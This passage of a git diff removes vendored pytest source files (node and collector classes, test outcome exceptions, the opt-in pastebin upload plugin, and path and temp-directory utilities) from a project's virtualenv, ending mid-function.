- self.keywords[marker_.name] = marker_ - if append: - self.own_markers.append(marker_.mark) - else: - self.own_markers.insert(0, marker_.mark) - - def iter_markers(self, name: str | None = None) -> Iterator[Mark]: - """Iterate over all markers of the node. - - :param name: If given, filter the results by the name attribute. - :returns: An iterator of the markers of the node. - """ - return (x[1] for x in self.iter_markers_with_node(name=name)) - - def iter_markers_with_node( - self, name: str | None = None - ) -> Iterator[tuple[Node, Mark]]: - """Iterate over all markers of the node. - - :param name: If given, filter the results by the name attribute. - :returns: An iterator of (node, mark) tuples. - """ - for node in self.iter_parents(): - for mark in node.own_markers: - if name is None or getattr(mark, "name", None) == name: - yield node, mark - - @overload - def get_closest_marker(self, name: str) -> Mark | None: ... - - @overload - def get_closest_marker(self, name: str, default: Mark) -> Mark: ... - - def get_closest_marker(self, name: str, default: Mark | None = None) -> Mark | None: - """Return the first marker matching the name, from closest (for - example function) to farther level (for example module level). - - :param default: Fallback return value if no marker was found. - :param name: Name to filter by. - """ - return next(self.iter_markers(name=name), default) - - def listextrakeywords(self) -> set[str]: - """Return a set of all extra keywords in self and any parents.""" - extra_keywords: set[str] = set() - for item in self.listchain(): - extra_keywords.update(item.extra_keyword_matches) - return extra_keywords - - def listnames(self) -> list[str]: - return [x.name for x in self.listchain()] - - def addfinalizer(self, fin: Callable[[], object]) -> None: - """Register a function to be called without arguments when this node is - finalized. - - This method can only be called when this node is active - in a setup chain, for example during self.setup(). - """ - self.session._setupstate.addfinalizer(fin, self) - - def getparent(self, cls: type[_NodeType]) -> _NodeType | None: - """Get the closest parent node (including self) which is an instance of - the given class. - - :param cls: The node class to search for. - :returns: The node, if found. - """ - for node in self.iter_parents(): - if isinstance(node, cls): - return node - return None - - def _traceback_filter(self, excinfo: ExceptionInfo[BaseException]) -> Traceback: - return excinfo.traceback - - def _repr_failure_py( - self, - excinfo: ExceptionInfo[BaseException], - style: TracebackStyle | None = None, - ) -> TerminalRepr: - from _pytest.fixtures import FixtureLookupError - - if isinstance(excinfo.value, ConftestImportFailure): - excinfo = ExceptionInfo.from_exception(excinfo.value.cause) - if isinstance(excinfo.value, fail.Exception): - if not excinfo.value.pytrace: - style = "value" - if isinstance(excinfo.value, FixtureLookupError): - return excinfo.value.formatrepr() - - tbfilter: bool | Callable[[ExceptionInfo[BaseException]], Traceback] - if self.config.getoption("fulltrace", False): - style = "long" - tbfilter = False - else: - tbfilter = self._traceback_filter - if style == "auto": - style = "long" - # XXX should excinfo.getrepr record all data and toterminal() process it? - if style is None: - if self.config.getoption("tbstyle", "auto") == "short": - style = "short" - else: - style = "long" - - if self.config.get_verbosity() > 1: - truncate_locals = False - else: - truncate_locals = True - - truncate_args = False if self.config.get_verbosity() > 2 else True - - # excinfo.getrepr() formats paths relative to the CWD if `abspath` is False. - # It is possible for a fixture/test to change the CWD while this code runs, which - # would then result in the user seeing confusing paths in the failure message. - # To fix this, if the CWD changed, always display the full absolute path. - # It will be better to just always display paths relative to invocation_dir, but - # this requires a lot of plumbing (#6428). - try: - abspath = Path(os.getcwd()) != self.config.invocation_params.dir - except OSError: - abspath = True - - return excinfo.getrepr( - funcargs=True, - abspath=abspath, - showlocals=self.config.getoption("showlocals", False), - style=style, - tbfilter=tbfilter, - truncate_locals=truncate_locals, - truncate_args=truncate_args, - ) - - def repr_failure( - self, - excinfo: ExceptionInfo[BaseException], - style: TracebackStyle | None = None, - ) -> str | TerminalRepr: - """Return a representation of a collection or test failure. - - .. seealso:: :ref:`non-python tests` - - :param excinfo: Exception information for the failure. - """ - return self._repr_failure_py(excinfo, style) - - -def get_fslocation_from_item(node: Node) -> tuple[str | Path, int | None]: - """Try to extract the actual location from a node, depending on available attributes: - - * "location": a pair (path, lineno) - * "obj": a Python object that the node wraps. - * "path": just a path - - :rtype: A tuple of (str|Path, int) with filename and 0-based line number. - """ - # See Item.location. - location: tuple[str, int | None, str] | None = getattr(node, "location", None) - if location is not None: - return location[:2] - obj = getattr(node, "obj", None) - if obj is not None: - return getfslineno(obj) - return getattr(node, "path", "unknown location"), -1 - - -class Collector(Node, abc.ABC): - """Base class of all collectors. - - Collector create children through `collect()` and thus iteratively build - the collection tree. - """ - - class CollectError(Exception): - """An error during collection, contains a custom message.""" - - @abc.abstractmethod - def collect(self) -> Iterable[Item | Collector]: - """Collect children (items and collectors) for this collector.""" - raise NotImplementedError("abstract") - - # TODO: This omits the style= parameter which breaks Liskov Substitution. - def repr_failure( # type: ignore[override] - self, excinfo: ExceptionInfo[BaseException] - ) -> str | TerminalRepr: - """Return a representation of a collection failure. - - :param excinfo: Exception information for the failure. - """ - if isinstance(excinfo.value, self.CollectError) and not self.config.getoption( - "fulltrace", False - ): - exc = excinfo.value - return str(exc.args[0]) - - # Respect explicit tbstyle option, but default to "short" - # (_repr_failure_py uses "long" with "fulltrace" option always). - tbstyle = self.config.getoption("tbstyle", "auto") - if tbstyle == "auto": - tbstyle = "short" - - return self._repr_failure_py(excinfo, style=tbstyle) - - def _traceback_filter(self, excinfo: ExceptionInfo[BaseException]) -> Traceback: - if hasattr(self, "path"): - traceback = excinfo.traceback - ntraceback = traceback.cut(path=self.path) - if ntraceback == traceback: - ntraceback = ntraceback.cut(excludepath=tracebackcutdir) - return ntraceback.filter(excinfo) - return excinfo.traceback - - -@lru_cache(maxsize=1000) -def _check_initialpaths_for_relpath( - initial_paths: frozenset[Path], path: Path -) -> str | None: - if path in initial_paths: - return "" - - for parent in path.parents: - if parent in initial_paths: - return str(path.relative_to(parent)) - - return None - - -class FSCollector(Collector, abc.ABC): - """Base class for filesystem collectors.""" - - def __init__( - self, - fspath: None = None, - path_or_parent: Path | Node | None = None, - path: Path | None = None, - name: str | None = None, - parent: Node | None = None, - config: Config | None = None, - session: Session | None = None, - nodeid: str | None = None, - ) -> None: - if path_or_parent: - if isinstance(path_or_parent, Node): - assert parent is None - parent = cast(FSCollector, path_or_parent) - elif isinstance(path_or_parent, Path): - assert path is None - path = path_or_parent - assert path is not None - - if name is None: - name = path.name - if parent is not None and parent.path != path: - try: - rel = path.relative_to(parent.path) - except ValueError: - pass - else: - name = str(rel) - name = norm_sep(name) - self.path = path - - if session is None: - assert parent is not None - session = parent.session - - if nodeid is None: - try: - nodeid = str(self.path.relative_to(session.config.rootpath)) - except ValueError: - nodeid = _check_initialpaths_for_relpath(session._initialpaths, path) - - if nodeid: - nodeid = norm_sep(nodeid) - - super().__init__( - name=name, - parent=parent, - config=config, - session=session, - nodeid=nodeid, - path=path, - ) - - @classmethod - def from_parent( - cls, - parent, - *, - fspath: None = None, - path: Path | None = None, - **kw, - ) -> Self: - """The public constructor.""" - return super().from_parent(parent=parent, fspath=fspath, path=path, **kw) - - -class File(FSCollector, abc.ABC): - """Base class for collecting tests from a file. - - :ref:`non-python tests`. - """ - - -class Directory(FSCollector, abc.ABC): - """Base class for collecting files from a directory. - - A basic directory collector does the following: goes over the files and - sub-directories in the directory and creates collectors for them by calling - the hooks :hook:`pytest_collect_directory` and :hook:`pytest_collect_file`, - after checking that they are not ignored using - :hook:`pytest_ignore_collect`. - - The default directory collectors are :class:`~pytest.Dir` and - :class:`~pytest.Package`. - - .. versionadded:: 8.0 - - :ref:`custom directory collectors`. - """ - - -class Item(Node, abc.ABC): - """Base class of all test invocation items. - - Note that for a single function there might be multiple test invocation items. - """ - - nextitem = None - - def __init__( - self, - name, - parent=None, - config: Config | None = None, - session: Session | None = None, - nodeid: str | None = None, - **kw, - ) -> None: - # The first two arguments are intentionally passed positionally, - # to keep plugins who define a node type which inherits from - # (pytest.Item, pytest.File) working (see issue #8435). - # They can be made kwargs when the deprecation above is done. - super().__init__( - name, - parent, - config=config, - session=session, - nodeid=nodeid, - **kw, - ) - self._report_sections: list[tuple[str, str, str]] = [] - - #: A list of tuples (name, value) that holds user defined properties - #: for this test. - self.user_properties: list[tuple[str, object]] = [] - - self._check_item_and_collector_diamond_inheritance() - - def _check_item_and_collector_diamond_inheritance(self) -> None: - """ - Check if the current type inherits from both File and Collector - at the same time, emitting a warning accordingly (#8447). - """ - cls = type(self) - - # We inject an attribute in the type to avoid issuing this warning - # for the same class more than once, which is not helpful. - # It is a hack, but was deemed acceptable in order to avoid - # flooding the user in the common case. - attr_name = "_pytest_diamond_inheritance_warning_shown" - if getattr(cls, attr_name, False): - return - setattr(cls, attr_name, True) - - problems = ", ".join( - base.__name__ for base in cls.__bases__ if issubclass(base, Collector) - ) - if problems: - warnings.warn( - f"{cls.__name__} is an Item subclass and should not be a collector, " - f"however its bases {problems} are collectors.\n" - "Please split the Collectors and the Item into separate node types.\n" - "Pytest Doc example: https://docs.pytest.org/en/latest/example/nonpython.html\n" - "example pull request on a plugin: https://github.com/asmeurer/pytest-flakes/pull/40/", - PytestWarning, - ) - - @abc.abstractmethod - def runtest(self) -> None: - """Run the test case for this item. - - Must be implemented by subclasses. - - .. seealso:: :ref:`non-python tests` - """ - raise NotImplementedError("runtest must be implemented by Item subclass") - - def add_report_section(self, when: str, key: str, content: str) -> None: - """Add a new report section, similar to what's done internally to add - stdout and stderr captured output:: - - item.add_report_section("call", "stdout", "report section contents") - - :param str when: - One of the possible capture states, ``"setup"``, ``"call"``, ``"teardown"``. - :param str key: - Name of the section, can be customized at will. Pytest uses ``"stdout"`` and - ``"stderr"`` internally. - :param str content: - The full contents as a string. - """ - if content: - self._report_sections.append((when, key, content)) - - def reportinfo(self) -> tuple[os.PathLike[str] | str, int | None, str]: - """Get location information for this item for test reports. - - Returns a tuple with three elements: - - - The path of the test (default ``self.path``) - - The 0-based line number of the test (default ``None``) - - A name of the test to be shown (default ``""``) - - .. seealso:: :ref:`non-python tests` - """ - return self.path, None, "" - - @cached_property - def location(self) -> tuple[str, int | None, str]: - """ - Returns a tuple of ``(relfspath, lineno, testname)`` for this item - where ``relfspath`` is file path relative to ``config.rootpath`` - and lineno is a 0-based line number. - """ - location = self.reportinfo() - path = absolutepath(location[0]) - relfspath = self.session._node_location_to_relpath(path) - assert type(location[2]) is str - return (relfspath, location[1], location[2]) diff --git a/venv/Lib/site-packages/_pytest/outcomes.py b/venv/Lib/site-packages/_pytest/outcomes.py deleted file mode 100644 index 257b95cf5857af0145ac4702172c6bb35c8aae05..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/outcomes.py +++ /dev/null @@ -1,286 +0,0 @@ -"""Exception classes and constants handling test outcomes as well as -functions creating them.""" - -from __future__ import annotations - -import importlib -import sys -from typing import Any -from typing import ClassVar -from typing import NoReturn - - -class OutcomeException(BaseException): - """OutcomeException and its subclass instances indicate and contain info - about test and collection outcomes.""" - - def __init__(self, msg: str | None = None, pytrace: bool = True) -> None: - if msg is not None and not isinstance(msg, str): - error_msg = ( # type: ignore[unreachable] - "{} expected string as 'msg' parameter, got '{}' instead.\n" - "Perhaps you meant to use a mark?" - ) - raise TypeError(error_msg.format(type(self).__name__, type(msg).__name__)) - super().__init__(msg) - self.msg = msg - self.pytrace = pytrace - - def __repr__(self) -> str: - if self.msg is not None: - return self.msg - return f"<{self.__class__.__name__} instance>" - - __str__ = __repr__ - - -TEST_OUTCOME = (OutcomeException, Exception) - - -class Skipped(OutcomeException): - # XXX hackish: on 3k we fake to live in the builtins - # in order to have Skipped exception printing shorter/nicer - __module__ = "builtins" - - def __init__( - self, - msg: str | None = None, - pytrace: bool = True, - allow_module_level: bool = False, - *, - _use_item_location: bool = False, - ) -> None: - super().__init__(msg=msg, pytrace=pytrace) - self.allow_module_level = allow_module_level - # If true, the skip location is reported as the item's location, - # instead of the place that raises the exception/calls skip(). - self._use_item_location = _use_item_location - - -class Failed(OutcomeException): - """Raised from an explicit call to pytest.fail().""" - - __module__ = "builtins" - - -class Exit(Exception): - """Raised for immediate program exits (no tracebacks/summaries).""" - - def __init__( - self, msg: str = "unknown reason", returncode: int | None = None - ) -> None: - self.msg = msg - self.returncode = returncode - super().__init__(msg) - - -class XFailed(Failed): - """Raised from an explicit call to pytest.xfail().""" - - -class _Exit: - """Exit testing process. - - :param reason: - The message to show as the reason for exiting pytest. reason has a default value - only because `msg` is deprecated. - - :param returncode: - Return code to be used when exiting pytest. None means the same as ``0`` (no error), - same as :func:`sys.exit`. - - :raises pytest.exit.Exception: - The exception that is raised. - """ - - Exception: ClassVar[type[Exit]] = Exit - - def __call__(self, reason: str = "", returncode: int | None = None) -> NoReturn: - __tracebackhide__ = True - raise Exit(msg=reason, returncode=returncode) - - -exit: _Exit = _Exit() - - -class _Skip: - """Skip an executing test with the given message. - - This function should be called only during testing (setup, call or teardown) or - during collection by using the ``allow_module_level`` flag. This function can - be called in doctests as well. - - :param reason: - The message to show the user as reason for the skip. - - :param allow_module_level: - Allows this function to be called at module level. - Raising the skip exception at module level will stop - the execution of the module and prevent the collection of all tests in the module, - even those defined before the `skip` call. - - Defaults to False. - - :raises pytest.skip.Exception: - The exception that is raised. - - .. note:: - It is better to use the :ref:`pytest.mark.skipif ref` marker when - possible to declare a test to be skipped under certain conditions - like mismatching platforms or dependencies. - Similarly, use the ``# doctest: +SKIP`` directive (see :py:data:`doctest.SKIP`) - to skip a doctest statically. - """ - - Exception: ClassVar[type[Skipped]] = Skipped - - def __call__(self, reason: str = "", allow_module_level: bool = False) -> NoReturn: - __tracebackhide__ = True - raise Skipped(msg=reason, allow_module_level=allow_module_level) - - -skip: _Skip = _Skip() - - -class _Fail: - """Explicitly fail an executing test with the given message. - - :param reason: - The message to show the user as reason for the failure. - - :param pytrace: - If False, msg represents the full failure information and no - python traceback will be reported. - - :raises pytest.fail.Exception: - The exception that is raised. - """ - - Exception: ClassVar[type[Failed]] = Failed - - def __call__(self, reason: str = "", pytrace: bool = True) -> NoReturn: - __tracebackhide__ = True - raise Failed(msg=reason, pytrace=pytrace) - - -fail: _Fail = _Fail() - - -class _XFail: - """Imperatively xfail an executing test or setup function with the given reason. - - This function should be called only during testing (setup, call or teardown). - - No other code is executed after using ``xfail()`` (it is implemented - internally by raising an exception). - - :param reason: - The message to show the user as reason for the xfail. - - .. note:: - It is better to use the :ref:`pytest.mark.xfail ref` marker when - possible to declare a test to be xfailed under certain conditions - like known bugs or missing features. - - :raises pytest.xfail.Exception: - The exception that is raised. - """ - - Exception: ClassVar[type[XFailed]] = XFailed - - def __call__(self, reason: str = "") -> NoReturn: - __tracebackhide__ = True - raise XFailed(msg=reason) - - -xfail: _XFail = _XFail() - - -def importorskip( - modname: str, - minversion: str | None = None, - reason: str | None = None, - *, - exc_type: type[ImportError] | None = None, -) -> Any: - """Import and return the requested module ``modname``, or skip the - current test if the module cannot be imported. - - :param modname: - The name of the module to import. - :param minversion: - If given, the imported module's ``__version__`` attribute must be at - least this minimal version, otherwise the test is still skipped. - :param reason: - If given, this reason is shown as the message when the module cannot - be imported. - :param exc_type: - The exception that should be captured in order to skip modules. - Must be :py:class:`ImportError` or a subclass. - - Defaults to :class:`ModuleNotFoundError` when not given, which means - the module must be missing for the test to be skipped. - Pass ``exc_type=ImportError`` to also skip modules that raise - :class:`ImportError` during import. - - See :ref:`import-or-skip-import-error` for details. - - - :returns: - The imported module. This should be assigned to its canonical name. - - :raises pytest.skip.Exception: - If the module cannot be imported. - - Example:: - - docutils = pytest.importorskip("docutils") - - .. versionadded:: 8.2 - - The ``exc_type`` parameter. - - .. versionchanged:: 9.1 - - The default for ``exc_type`` is now :class:`ModuleNotFoundError`. - """ - import warnings - - __tracebackhide__ = True - compile(modname, "", "eval") # to catch syntaxerrors - - # Keep the public signature compatible while using the pytest 9.1 default behavior. - if exc_type is None: - exc_type = ModuleNotFoundError - - skipped: Skipped | None = None - - with warnings.catch_warnings(): - # Make sure to ignore ImportWarnings that might happen because - # of existing directories with the same name we're trying to - # import but without a __init__.py file. - warnings.simplefilter("ignore") - - try: - importlib.import_module(modname) - except exc_type as exc: - # Do not raise or issue warnings inside the catch_warnings() block. - if reason is None: - reason = f"could not import {modname!r}: {exc}" - skipped = Skipped(reason, allow_module_level=True) - if skipped: - raise skipped - - mod = sys.modules[modname] - if minversion is None: - return mod - verattr = getattr(mod, "__version__", None) - if minversion is not None: - # Imported lazily to improve start-up time. - from packaging.version import Version - - if verattr is None or Version(verattr) < Version(minversion): - raise Skipped( - f"module {modname!r} has __version__ {verattr!r}, required is: {minversion!r}", - allow_module_level=True, - ) - return mod diff --git a/venv/Lib/site-packages/_pytest/pastebin.py b/venv/Lib/site-packages/_pytest/pastebin.py deleted file mode 100644 index e6a1430220a744579e9782a85cf9e3f0880f0525..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/pastebin.py +++ /dev/null @@ -1,121 +0,0 @@ -# mypy: allow-untyped-defs -"""Submit failure or test session information to a pastebin service.""" - -from __future__ import annotations - -from io import StringIO -import tempfile -from typing import IO - -from _pytest.config import Config -from _pytest.config import create_terminal_writer -from _pytest.config.argparsing import Parser -from _pytest.deprecated import PASTEBIN -from _pytest.stash import StashKey -from _pytest.terminal import TerminalReporter -import pytest - - -pastebinfile_key = StashKey[IO[bytes]]() - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting") - group.addoption( - "--pastebin", - metavar="mode", - action="store", - dest="pastebin", - default=None, - choices=["failed", "all"], - help="Send failed|all info to bpaste.net pastebin service", - ) - - -@pytest.hookimpl(trylast=True) -def pytest_configure(config: Config) -> None: - if config.option.pastebin: - config.issue_config_time_warning(PASTEBIN, 2) - - if config.option.pastebin == "all": - tr = config.pluginmanager.getplugin("terminalreporter") - # If no terminal reporter plugin is present, nothing we can do here; - # this can happen when this function executes in a worker node - # when using pytest-xdist, for example. - if tr is not None: - # pastebin file will be UTF-8 encoded binary file. - config.stash[pastebinfile_key] = tempfile.TemporaryFile("w+b") - oldwrite = tr._tw.write - - def tee_write(s, **kwargs): - oldwrite(s, **kwargs) - if isinstance(s, str): - s = s.encode("utf-8") - config.stash[pastebinfile_key].write(s) - - tr._tw.write = tee_write - - -def pytest_unconfigure(config: Config) -> None: - if pastebinfile_key in config.stash: - pastebinfile = config.stash[pastebinfile_key] - # Get terminal contents and delete file. - pastebinfile.seek(0) - sessionlog = pastebinfile.read() - pastebinfile.close() - del config.stash[pastebinfile_key] - # Undo our patching in the terminal reporter. - tr = config.pluginmanager.getplugin("terminalreporter") - del tr._tw.__dict__["write"] - # Write summary. - tr.write_sep("=", "Sending information to Paste Service") - pastebinurl = create_new_paste(sessionlog) - tr.write_line(f"pastebin session-log: {pastebinurl}\n") - - -def create_new_paste(contents: str | bytes) -> str: - """Create a new paste using the bpaste.net service. - - :contents: Paste contents string. - :returns: URL to the pasted contents, or an error message. - """ - import re - from urllib.error import HTTPError - from urllib.parse import urlencode - from urllib.request import urlopen - - params = {"code": contents, "lexer": "text", "expiry": "1week"} - url = "https://bpa.st" - try: - response: str = ( - urlopen(url, data=urlencode(params).encode("ascii")).read().decode("utf-8") - ) - except HTTPError as e: - with e: # HTTPErrors are also http responses that must be closed! - return f"bad response: {e}" - except OSError as e: # eg urllib.error.URLError - return f"bad response: {e}" - m = re.search(r'href="/raw/(\w+)"', response) - if m: - return f"{url}/show/{m.group(1)}" - else: - return "bad response: invalid format ('" + response + "')" - - -def pytest_terminal_summary(terminalreporter: TerminalReporter) -> None: - if terminalreporter.config.option.pastebin != "failed": - return - if "failed" in terminalreporter.stats: - terminalreporter.write_sep("=", "Sending information to Paste Service") - for rep in terminalreporter.stats["failed"]: - try: - msg = rep.longrepr.reprtraceback.reprentries[-1].reprfileloc - except AttributeError: - msg = terminalreporter._getfailureheadline(rep) - file = StringIO() - tw = create_terminal_writer(terminalreporter.config, file) - rep.toterminal(tw) - s = file.getvalue() - assert len(s) - pastebinurl = create_new_paste(s) - terminalreporter.write_line(f"{msg} --> {pastebinurl}") diff --git a/venv/Lib/site-packages/_pytest/pathlib.py b/venv/Lib/site-packages/_pytest/pathlib.py deleted file mode 100644 index 291bdf4ecbfefa41dd7a5c0153e41d11cc2703c3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/pathlib.py +++ /dev/null @@ -1,1054 +0,0 @@ -from __future__ import annotations - -from collections.abc import Callable -from collections.abc import Iterable -from collections.abc import Iterator -import contextlib -from enum import Enum -from errno import EBADF -from errno import ELOOP -from errno import ENOENT -from errno import ENOTDIR -import fnmatch -from functools import partial -from importlib.machinery import ModuleSpec -from importlib.machinery import PathFinder -import importlib.util -import itertools -import os -from os.path import expanduser -from os.path import expandvars -from os.path import isabs -from os.path import sep -from pathlib import Path -from pathlib import PurePath -from posixpath import sep as posix_sep -import shutil -import sys -import types -from types import ModuleType -from typing import Any -from typing import TypeVar -import uuid -import warnings - -from _pytest.compat import assert_never -from _pytest.outcomes import skip -from _pytest.warning_types import PytestWarning - - -if sys.version_info < (3, 11): - from importlib._bootstrap_external import _NamespaceLoader as NamespaceLoader -else: - from importlib.machinery import NamespaceLoader - -LOCK_TIMEOUT = 60 * 60 * 24 * 3 - -_AnyPurePath = TypeVar("_AnyPurePath", bound=PurePath) - -# The following function, variables and comments were -# copied from cpython 3.9 Lib/pathlib.py file. - -# EBADF - guard against macOS `stat` throwing EBADF -_IGNORED_ERRORS = (ENOENT, ENOTDIR, EBADF, ELOOP) - -_IGNORED_WINERRORS = ( - 21, # ERROR_NOT_READY - drive exists but is not accessible - 1921, # ERROR_CANT_RESOLVE_FILENAME - fix for broken symlink pointing to itself -) - - -def _ignore_error(exception: Exception) -> bool: - return ( - getattr(exception, "errno", None) in _IGNORED_ERRORS - or getattr(exception, "winerror", None) in _IGNORED_WINERRORS - ) - - -def get_lock_path(path: _AnyPurePath) -> _AnyPurePath: - return path.joinpath(".lock") - - -def on_rm_rf_error( - func: Callable[..., Any] | None, - path: str, - excinfo: BaseException - | tuple[type[BaseException], BaseException, types.TracebackType | None], - *, - start_path: Path, -) -> bool: - """Handle known read-only errors during rmtree. - - The returned value is used only by our own tests. - """ - if isinstance(excinfo, BaseException): - exc = excinfo - else: - exc = excinfo[1] - - # Another process removed the file in the middle of the "rm_rf" (xdist for example). - # More context: https://github.com/pytest-dev/pytest/issues/5974#issuecomment-543799018 - if isinstance(exc, FileNotFoundError): - return False - - if not isinstance(exc, PermissionError): - warnings.warn( - PytestWarning(f"(rm_rf) error removing {path}\n{type(exc)}: {exc}") - ) - return False - - if func not in (os.rmdir, os.remove, os.unlink): - if func not in (os.open,): - warnings.warn( - PytestWarning( - f"(rm_rf) unknown function {func} when removing {path}:\n{type(exc)}: {exc}" - ) - ) - return False - - # Chmod + retry. - import stat - - def chmod_rw(p: str) -> None: - mode = os.stat(p).st_mode - os.chmod(p, mode | stat.S_IRUSR | stat.S_IWUSR) - - # For files, we need to recursively go upwards in the directories to - # ensure they all are also writable. - p = Path(path) - if p.is_file(): - for parent in p.parents: - chmod_rw(str(parent)) - # Stop when we reach the original path passed to rm_rf. - if parent == start_path: - break - chmod_rw(str(path)) - - func(path) - return True - - -def ensure_extended_length_path(path: Path) -> Path: - """Get the extended-length version of a path (Windows). - - On Windows, by default, the maximum length of a path (MAX_PATH) is 260 - characters, and operations on paths longer than that fail. But it is possible - to overcome this by converting the path to "extended-length" form before - performing the operation: - https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file#maximum-path-length-limitation - - On Windows, this function returns the extended-length absolute version of path. - On other platforms it returns path unchanged. - """ - if sys.platform.startswith("win32"): - path = path.resolve() - path = Path(get_extended_length_path_str(str(path))) - return path - - -def get_extended_length_path_str(path: str) -> str: - """Convert a path to a Windows extended length path.""" - long_path_prefix = "\\\\?\\" - unc_long_path_prefix = "\\\\?\\UNC\\" - if path.startswith((long_path_prefix, unc_long_path_prefix)): - return path - # UNC - if path.startswith("\\\\"): - return unc_long_path_prefix + path[2:] - return long_path_prefix + path - - -def rm_rf(path: Path) -> None: - """Remove the path contents recursively, even if some elements - are read-only.""" - path = ensure_extended_length_path(path) - onerror = partial(on_rm_rf_error, start_path=path) - if sys.version_info >= (3, 12): - shutil.rmtree(str(path), onexc=onerror) - else: - shutil.rmtree(str(path), onerror=onerror) - - -def find_prefixed(root: Path, prefix: str) -> Iterator[os.DirEntry[str]]: - """Find all elements in root that begin with the prefix, case-insensitive.""" - l_prefix = prefix.lower() - for x in os.scandir(root): - if x.name.lower().startswith(l_prefix): - yield x - - -def extract_suffixes(iter: Iterable[os.DirEntry[str]], prefix: str) -> Iterator[str]: - """Return the parts of the paths following the prefix. - - :param iter: Iterator over path names. - :param prefix: Expected prefix of the path names. - """ - p_len = len(prefix) - for entry in iter: - yield entry.name[p_len:] - - -def find_suffixes(root: Path, prefix: str) -> Iterator[str]: - """Combine find_prefixes and extract_suffixes.""" - return extract_suffixes(find_prefixed(root, prefix), prefix) - - -def parse_num(maybe_num: str) -> int: - """Parse number path suffixes, returns -1 on error.""" - try: - return int(maybe_num) - except ValueError: - return -1 - - -def _force_symlink(root: Path, target: str | PurePath, link_to: str | Path) -> None: - """Helper to create the current symlink. - - It's full of race conditions that are reasonably OK to ignore - for the context of best effort linking to the latest test run. - - The presumption being that in case of much parallelism - the inaccuracy is going to be acceptable. - """ - current_symlink = root.joinpath(target) - try: - current_symlink.unlink() - except OSError: - pass - try: - current_symlink.symlink_to(link_to) - except Exception: - pass - - -def make_numbered_dir(root: Path, prefix: str, mode: int = 0o700) -> Path: - """Create a directory with an increased number as suffix for the given prefix.""" - for i in range(10): - # try up to 10 times to create the directory - max_existing = max(map(parse_num, find_suffixes(root, prefix)), default=-1) - new_number = max_existing + 1 - new_path = root.joinpath(f"{prefix}{new_number}") - try: - new_path.mkdir(mode=mode) - except Exception: - pass - else: - _force_symlink(root, prefix + "current", new_path) - return new_path - else: - raise OSError( - "could not create numbered dir with prefix " - f"{prefix} in {root} after 10 tries" - ) - - -def create_cleanup_lock(p: Path) -> Path: - """Create a lock to prevent premature directory cleanup.""" - lock_path = get_lock_path(p) - try: - fd = os.open(str(lock_path), os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o644) - except FileExistsError as e: - raise OSError(f"cannot create lockfile in {p}") from e - else: - pid = os.getpid() - spid = str(pid).encode() - os.write(fd, spid) - os.close(fd) - if not lock_path.is_file(): - raise OSError("lock path got renamed after successful creation") - return lock_path - - -def register_cleanup_lock_removal(lock_path: Path, register: Any) -> Any: - """Register a cleanup function for removing a lock.""" - pid = os.getpid() - - def cleanup_on_exit(lock_path: Path = lock_path, original_pid: int = pid) -> None: - current_pid = os.getpid() - if current_pid != original_pid: - # fork - return - try: - lock_path.unlink() - except OSError: - pass - - return register(cleanup_on_exit) - - -def maybe_delete_a_numbered_dir(path: Path) -> None: - """Remove a numbered directory if its lock can be obtained and it does - not seem to be in use.""" - path = ensure_extended_length_path(path) - lock_path = None - try: - lock_path = create_cleanup_lock(path) - parent = path.parent - - garbage = parent.joinpath(f"garbage-{uuid.uuid4()}") - path.rename(garbage) - rm_rf(garbage) - except OSError: - # known races: - # * other process did a cleanup at the same time - # * deletable directory was found - # * process cwd (Windows) - return - finally: - # If we created the lock, ensure we remove it even if we failed - # to properly remove the numbered dir. - if lock_path is not None: - try: - lock_path.unlink() - except OSError: - pass - - -def ensure_deletable(path: Path, consider_lock_dead_if_created_before: float) -> bool: - """Check if `path` is deletable based on whether the lock file is expired.""" - if path.is_symlink(): - return False - lock = get_lock_path(path) - try: - if not lock.is_file(): - return True - except OSError: - # we might not have access to the lock file at all, in this case assume - # we don't have access to the entire directory (#7491). - return False - try: - lock_time = lock.stat().st_mtime - except Exception: - return False - else: - if lock_time < consider_lock_dead_if_created_before: - # We want to ignore any errors while trying to remove the lock such as: - # - PermissionDenied, like the file permissions have changed since the lock creation; - # - FileNotFoundError, in case another pytest process got here first; - # and any other cause of failure. - with contextlib.suppress(OSError): - lock.unlink() - return True - return False - - -def try_cleanup(path: Path, consider_lock_dead_if_created_before: float) -> None: - """Try to cleanup a directory if we can ensure it's deletable.""" - if ensure_deletable(path, consider_lock_dead_if_created_before): - maybe_delete_a_numbered_dir(path) - - -def cleanup_candidates(root: Path, prefix: str, keep: int) -> Iterator[Path]: - """List candidates for numbered directories to be removed - follows py.path.""" - max_existing = max(map(parse_num, find_suffixes(root, prefix)), default=-1) - max_delete = max_existing - keep - entries = find_prefixed(root, prefix) - entries, entries2 = itertools.tee(entries) - numbers = map(parse_num, extract_suffixes(entries2, prefix)) - for entry, number in zip(entries, numbers, strict=True): - if number <= max_delete: - yield Path(entry) - - -def cleanup_dead_symlinks(root: Path) -> None: - for left_dir in root.iterdir(): - if left_dir.is_symlink(): - if not left_dir.resolve().exists(): - left_dir.unlink() - - -def cleanup_numbered_dir( - root: Path, prefix: str, keep: int, consider_lock_dead_if_created_before: float -) -> None: - """Cleanup for lock driven numbered directories.""" - if not root.exists(): - return - for path in cleanup_candidates(root, prefix, keep): - try_cleanup(path, consider_lock_dead_if_created_before) - for path in root.glob("garbage-*"): - try_cleanup(path, consider_lock_dead_if_created_before) - - cleanup_dead_symlinks(root) - - -def make_numbered_dir_with_cleanup( - *, - root: Path, - prefix: str, - mode: int, - keep: int, - lock_timeout: float, - register: Any, -) -> Path: - """Create a numbered dir and register its cleanup. - - Similar to make_numbered_dir, but also maintains a lock file indicating that - the directory is currently in use, and registers the cleanup of the lock and - of stale numbered directories. - - :param keep: - The number of sessions to retain the directory. - :param lock_timeout: - In case of a crash, the lock remains "stuck". The timeout is a time - limit after which the lock is considered stale and can be removed. - :param register: - Called as register(cleanup_func, params...). Should schedule to call - passed cleanup functions on session finish. - """ - e = None - for i in range(10): - try: - p = make_numbered_dir(root, prefix, mode) - # Only lock the current dir when keep is not 0 - if keep != 0: - lock_path = create_cleanup_lock(p) - register_cleanup_lock_removal(lock_path, register) - except Exception as exc: - e = exc - else: - consider_lock_dead_if_created_before = p.stat().st_mtime - lock_timeout - # Register a cleanup for program exit - register( - 